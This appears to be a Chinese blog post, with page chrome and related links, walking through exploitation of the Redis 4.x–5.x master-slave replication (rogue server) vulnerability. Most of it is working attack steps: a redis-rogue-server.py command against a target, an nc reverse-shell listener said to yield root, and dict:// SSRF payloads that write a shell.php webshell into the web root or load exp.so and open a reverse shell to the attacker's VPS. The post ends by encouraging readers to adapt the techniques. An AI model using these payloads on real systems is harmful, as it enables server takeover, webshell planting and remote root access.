Redis主从复制漏洞gethsell

本文涉及的产品
云数据库 Tair(兼容Redis),内存型 2GB
Redis 开源版,标准版 2GB
推荐场景:
搭建游戏排行榜
简介: 在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。利用范围:Redis 4.x-Redis 5.x

一、环境搭建:


wget http://download.redis.io/releases/redis-5.0.0.tar.gz
tar -xvzf redis-5.0.0.tar.gz
cd redis-5.0.0
make




漏洞描述:

在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。利用范围:Redis 4.x-Redis 5.x



修改redis.conf:



protected-mode yes 改为no      #关闭redis保护模式bind 127.0.0.1 改为0.0.0.0   #服务器任意网卡地址都可访问redis


启动redis:



cd src./redis-server ../redis.conf    #加载指定配置




二、漏洞复现:

1、执行rce脚本:


python3 redis-rogue-server.py --rhost=<target ip> --lhost=<vps ip> --exp=exp.so

根据提示输入内容,然后等待反弹



2、vps上使用NC开启监听:


nc -lvp 6666

成功拿到反弹shell,并且权限为root



实战中大多配合SSRF漏洞使用,可配合dict、Gopher等协议操作redis,构造payload从而利用,举个dict的例子


①、写webshell:



1、连接远程主服务器:?url=dict://127.0.0.1:6379/slaveof:vps的ip:端口
2、设置保存路径:?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/
3、设置保存文件名:?url=dict://127.0.0.1:6379/config:set:dbfilename:shell.php
4、保存设置?url=dict://127.0.0.1:6379/save


②、直接RCE:

执行脚本:


python3 redis-rogue-server.py --rhost=VPS的IP --rport=任意端口 --lhost=VPS的IP --lport=任意端口


nc执行:


nc -lvp rport的端口

这里注意细节:在漏洞点每执行一句payload,在nc会监听到脚本做的动作,配合每次执行一次payload按一下回车,切记不要太激动,等脚本有响应了再按...


在有ssrf漏洞的点执行:






1、连接远程主服务器:?url=dict://127.0.0.1:6379/slaveof:vps的ip:端口
2、设置保存文件名:?url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so
3、载入exp.so:?url=dict://127.0.0.1:6379/MODULE:LOAD:./exp.so
4、断开主从:?url=dict://127.0.0.1:6379/SLAVEOF:NO:ONE
5、恢复原始文件名:?url=dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb
6、执行命令:?url=dict://127.0.0.1:6379/system.exec:'命令'
7、反弹shell执行:?url=dict://127.0.0.1:6379/system.rev:vps的ip:反弹的端口


然后就会收到反弹的shell,本文只是抛砖引玉,更多姿势根据实际情况进行变形、利用,如有错误,欢迎指出,可在后台留言联系作者。点击阅读原文,获取更多骚思路


相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore &nbsp; &nbsp; ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库&nbsp;ECS 实例和一台目标数据库&nbsp;RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&amp;RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
目录
相关文章
|
4月前
|
存储 负载均衡 NoSQL
Redis之主从复制
【1月更文挑战第8天】主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(masterleader),后者称为从节点(slave/follower);数据的复制是单向的,只能由主节点到从节点。Master以写为主,Slave以读为主。 默认情况下,每台Redis服务器都是主节点; 且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点。
204 5
|
4月前
|
NoSQL 关系型数据库 MySQL
Redis高可用之主从复制架构(第一部分)
Redis高可用之主从复制架构(第一部分)
|
4月前
|
监控 NoSQL 容灾
【Redis】主从复制
【Redis】主从复制
|
2月前
|
存储 缓存 NoSQL
Redis常见面试题(二):redis分布式锁、redisson、主从一致性、Redlock红锁;Redis集群、主从复制,哨兵模式,分片集群;Redis为什么这么快,I/O多路复用模型
redis分布式锁、redisson、可重入、主从一致性、WatchDog、Redlock红锁、zookeeper;Redis集群、主从复制,全量同步、增量同步;哨兵,分片集群,Redis为什么这么快,I/O多路复用模型——用户空间和内核空间、阻塞IO、非阻塞IO、IO多路复用,Redis网络模型
Redis常见面试题(二):redis分布式锁、redisson、主从一致性、Redlock红锁;Redis集群、主从复制,哨兵模式,分片集群;Redis为什么这么快,I/O多路复用模型
|
4月前
|
存储 监控 负载均衡
redis 集群 (主从复制 哨兵模式 cluster)
redis 集群 (主从复制 哨兵模式 cluster)
|
1月前
|
消息中间件 存储 缓存
深入理解Redis集群主从复制原理
该文章主要探讨了Redis集群中的主从复制原理,包括为何需要主从复制、配置方法、复制流程以及一些高级特性。
深入理解Redis集群主从复制原理
|
1月前
|
缓存 NoSQL 安全
【Azure Redis 缓存】Azure Redis 4.0 被扫描到漏洞,如何修补呢?
【Azure Redis 缓存】Azure Redis 4.0 被扫描到漏洞,如何修补呢?
|
2月前
|
NoSQL Redis
Redis 主从复制架构配置及原理
Redis 主从复制架构配置及原理
49 5
|
3月前
|
存储 NoSQL 网络协议
主从复制,Could not connect to Redis at 127.0.0.1:6380: Connection refusednot connected> exit,1.主从模式如何指
主从复制,Could not connect to Redis at 127.0.0.1:6380: Connection refusednot connected> exit,1.主从模式如何指
|
4月前
|
负载均衡 NoSQL 关系型数据库
深入浅出Redis(六):Redis的主从架构与主从复制原理
深入浅出Redis(六):Redis的主从架构与主从复制原理